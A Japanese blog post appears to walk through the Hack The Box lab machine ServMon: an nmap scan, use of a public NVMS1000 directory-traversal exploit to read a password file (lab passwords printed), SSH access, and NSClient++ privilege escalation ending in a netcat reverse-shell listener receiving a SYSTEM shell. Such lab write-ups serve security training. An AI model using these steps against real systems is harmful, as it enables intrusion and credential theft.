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【Hack the Box write-up】ServMon

 ·   ·  ☕ 2 min read  ·  ✍️ さんぽし

はじめに

筆者は Hack the Box 初心者です。
何か訂正や補足、アドバイスなどありましたら、コメントか Twitter までお願いします。
さんぽし(@sanpo_shiho) | Twitter

cheat sheet

以下で cheat sheet としてツールの使い方などをまとめています。参考にしてください。
github | sanposhiho/MY_CHEAT_SHEET

machineについて

難易度は easy です
スクリーンショット 2020-06-22 0.58.29.png

先に言い訳

この machine は Active な時に rooted したのですが、自分で書いてたメモが雑すぎて一部すごく簡略化した writeup になってます

nmap

$ nmap -sC -sV 10.10.10.184
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-12 00:18 EDT
Nmap scan report for 10.10.10.184
Host is up (0.17s latency).
Not shown: 974 closed ports
PORT      STATE    SERVICE       VERSION
21/tcp    open     ftp           Microsoft ftpd
22/tcp    open     ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 b9:89:04:ae:b6:26:07:3f:61:89:75:cf:10:29:28:83 (RSA)
|   256 71:4e:6c:c0:d3:6e:57:4f:06:b8:95:3d:c7:75:57:53 (ECDSA)
|_  256 15:38:bd:75:06:71:67:7a:01:17:9c:5c:ed:4c:de:0e (ED25519)
80/tcp    open     http
| fingerprint-strings: 
|   GetRequest, HTTPOptions, RTSPRequest: 
|     HTTP/1.1 200 OK
|     Content-type: text/html
|     Content-Length: 340
|     Connection: close
|     AuthInfo: 
|     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|     <html xmlns="http://www.w3.org/1999/xhtml">
|     <head>
|     <title></title>
|     <script type="text/javascript">
|     window.location.href = "Pages/login.htm";
|     </script>
|     </head>
|     <body>
|     </body>
|     </html>
|   NULL: 
|     HTTP/1.1 408 Request Timeout
|     Content-type: text/html
|     Content-Length: 0
|     Connection: close
|_    AuthInfo:
88/tcp    filtered kerberos-sec
135/tcp   open     msrpc         Microsoft Windows RPC
139/tcp   open     netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open     microsoft-ds?
808/tcp   filtered ccproxy-http
1119/tcp  filtered bnetgame
1187/tcp  filtered alias
1433/tcp  filtered ms-sql-s
1455/tcp  filtered esl-lm
1812/tcp  filtered radius
3690/tcp  filtered svn
5101/tcp  filtered admdog
5221/tcp  filtered 3exmp
5666/tcp  open     tcpwrapped
5810/tcp  filtered unknown
5903/tcp  filtered vnc-3
6699/tcp  open     napster?
8009/tcp  filtered ajp13
8443/tcp  open     ssl/https-alt
| fingerprint-strings: 
|   FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions: 
|     HTTP/1.1 404
|     Content-Length: 18
|     Document not found
|   GetRequest: 
|     HTTP/1.1 302
|     Content-Length: 0
|     Location: /index.html
|     ":{"context":"ini://${shared-path}/nsclient.ini","has_changed":true,"type":"ini"}}]}
|     obar, options : { } }, command: command, channel: NSCA, source_id: , target_id: }
|     target_id: }
|_    options :
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2020-01-14T13:24:20
|_Not valid after:  2021-01-13T13:24:20
|_ssl-date: TLS randomness does not represent time
9898/tcp  filtered monkeycom
10082/tcp filtered amandaidx
27352/tcp filtered unknown
64623/tcp filtered unknown
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.80%I=7%D=4/12%Time=5E92969F%P=x86_64-pc-linux-gnu%r(NULL
SF:,6B,"HTTP/1\.1\x20408\x20Request\x20Timeout\r\nContent-type:\x20text/ht
SF:ml\r\nContent-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n
SF:\r\n")%r(GetRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20tex
SF:t/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x
SF:20\r\n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20X
SF:HTML\x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/D
SF:TD/xhtml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.
SF:org/1999/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\
SF:x20\x20\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20
SF:\x20\x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x2
SF:0\x20\x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")
SF:%r(HTTPOptions,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/htm
SF:l\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\
SF:n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\
SF:x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xh
SF:tml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/1
SF:999/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x
SF:20\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20
SF:\x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")%r(RT
SF:SPRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\r\n
SF:Content-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n
SF:\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\x201\
SF:.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xhtml1-
SF:transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/1999/x
SF:html\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x20\x2
SF:0<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\x20\
SF:x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8443-TCP:V=7.80%T=SSL%I=7%D=4/12%Time=5E9296A8%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,122,"HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLocatio
SF:n:\x20/index\.html\r\n\r\n\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0\":{\"context\":\"ini://\${shared-path}/nsclient\.ini\",\"
SF:has_changed\":true,\"type\":\"ini\"}}\]}\0k\0obar,\x20options\x20:\x20{
SF:\x20}\x20},\x20command:\x20command,\x20channel:\x20NSCA,\x20source_id:\
SF:x20,\x20target_id:\x20}\0target_id:\x20}\0,\x20options\x20:\x01\0\0\0\x
SF:20},\x20\x20K")%r(HTTPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length:\x
SF:2018\r\n\r\nDocument\x20not\x20found")%r(FourOhFourRequest,36,"HTTP/1\.
SF:1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20found")%r(R
SF:TSPRequest,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocumen
SF:t\x20not\x20found")%r(SIPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length
SF::\x2018\r\n\r\nDocument\x20not\x20found");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   2.10: 
|_    Message signing enabled but not required
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 157.57 seconds

ftp

ftp で調べると 2 つのファイルが手に入ります

kali@kali:~$ cat Confidential.txt 
Nathan,

I left your Passwords.txt file on your Desktop.  Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadinekali@kali:~$ cat 'Notes to do.txt' 
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint

CVE-2019-20085

スクリーンショット 2020-06-22 1.04.53.png

80 番を開くと NVMS1000 という何かが動いてます

NVMS1000 の一部のバージョンには Directory Traversal があります。

https://github.com/AleDiBen/NVMS1000-Exploit/blob/master/nvms.py

kali@kali:~$ python3 nvms.py 10.10.10.184 Users/Nathan/Desktop/Passwords.txt paspas
[+] DT Attack Succeeded
[+] Saving File Content
[+] Saved
[+] File Content

++++++++++ BEGIN ++++++++++
1nsp3ctTh3Way2Mars!                                                                                                                                                            
Th3r34r3To0M4nyTrait0r5!                                                                                                                                                       
B3WithM30r4ga1n5tMe                                                                                                                                                            
L1k3B1gBut7s@W0rk                                                                                                                                                              
0nly7h3y0unGWi11F0l10w                                                                                                                                                         
IfH3s4b0Utg0t0H1sH0me                                                                                                                                                          
Gr4etN3w5w17hMySk1Pa5$                                                                                                                                                         
++++++++++  END  ++++++++++     

色々出てきました

ssh

nadine/L1k3B1gBut7s@W0rk で接続できます(hydra とか使わず根性で見つけた)

kali@kali:~$ ssh nadine@10.10.10.184

これで user が取れます

sshトンネル

ssh -L 8443:127.0.0.1:8443 Nadine@10.10.10.184

スクリーンショット 2020-05-07 16.29.40.png

ページに出ている通りの方法で password を確認します

nadine@SERVMON C:\Program Files\NSClient++>nscp web -- password --display
Current password: ew2x6SsGTxjRwXOT

PE

NSClient++には以下の PE が使えそうです

https://www.exploit-db.com/exploits/46802

(詳しい部分はメモが残ってないので大省略🙇‍♂️)

kali@kali:~$ nc -lnvp 1212
listening on [any] 1212 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.10.184] 52583
Microsoft Windows [Version 10.0.18363.752]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Program Files\NSClient++>whoami
whoami
nt authority\system

C:\Program Files\NSClient++>cd C:\Users\Administrator\Desktop
cd C:\Users\Administrator\Desktop

C:\Users\Administrator\Desktop>more root.txt
more root.txt

root が取れました

終わりに

この machine 接続不安定すぎて最後の PE の部分がめちゃ時間かかった思い出…

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さんぽし
WRITTEN BY
さんぽし
Web Developer /w Elixir, Go